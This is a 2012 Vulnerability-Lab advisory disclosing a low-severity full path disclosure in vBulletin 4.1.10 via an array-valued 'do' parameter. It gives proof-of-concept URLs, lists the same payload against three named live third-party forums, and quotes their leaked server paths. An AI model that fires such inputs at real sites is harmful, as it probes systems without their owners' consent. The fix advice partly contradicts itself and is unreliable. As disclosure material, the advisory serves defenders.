vBulletin v4.1.10 - Path Information Disclosure

Document Title:
===============
vBulletin v4.1.10 - Path Information Disclosure


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=387


Release Date:
=============
2012-01-15


Vulnerability Laboratory ID (VL-ID):
====================================
387


Product & Service Introduction:
===============================
vBulletin is the world leader in forum and community publishing software. Customers have created vibrant
communities for over 10 years on vBulletin s stable and mature platform. Developed with security, powerful
administration features and speed in mind, it serves over 40,000 online communities. We provide world-renowned
technical support, with the average support ticket answered within 3 hours, at any time of the day or night,
7 days a week. To learn more about our products, please visit the features page.

(Copy of the Vendor Homepage: https://www.vbulletin.com/about.php )


Abstract Advisory Information:
==============================
A Laboratory Researcher (linc0ln.dll) discovered a path disclosure vulnerability on the famous vBulletin Forum Application v4.1.10


Vulnerability Disclosure Timeline:
==================================
2012-01-16:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A full path disclosure misconfiguration  is detected on the famous forums cms vBulletin 4.1.10.
The vulnerability is located on the ?do= variable in the search form.
Successful exploitation allows  an attacker to view the full path of the hosted content management system via stable error.

Vulnerable Module(s):
							[+] search


--- Error Logs ---
Warning: trim() expects parameter 1 to be string, array given in /home/englishs/public_html/forum/includes/class_core.php on line 1991
Unable to add cookies, header already sent.
File: /home/englishs/public_html/forum/includes/class_core.php
Line: 5588
...
Warning: trim() expects parameter 1 to be string, array given in /home/netonet/public_html/eprog.pl/includes/class_core.php on line 1991
Unable to add cookies, header already sent.
File: /home/netonet/public_html/eprog.pl/includes/class_core.php
Line: 5588


Picture(s):
							../1.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by a remote attacker. For demonstration or reproduce ... 

Full Path Disclosure: (PoC)
http://localhost/path/forumdisplay.php?do[]=[linc0ln.dll]
http://localhost/path/calendar.php?do[]=[linc0ln.dll]
http://localhost/path/search.php?do[]=[linc0ln.dll]


Reference(s):
http://www.ezoforum.pl/search.php?do[]=linc0ln.dll
http://www.eprog.pl/search.php?do[]=linc0ln.dll
http://www.englishsabla.com/forum/search.php?do[]=linc0ln.dll


Solution - Fix & Patch:
=======================
Use error_reporting(-1);  or   error_reporting(0);   to prevent against the path disclosure misconfiguration.


Security Risk:
==============
The security risk of the full path disclosure errors is estimated as low.


Credits & Authors:
==================
Authors:  linc0ln.dll
Website:  http://linc0ln.pl


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory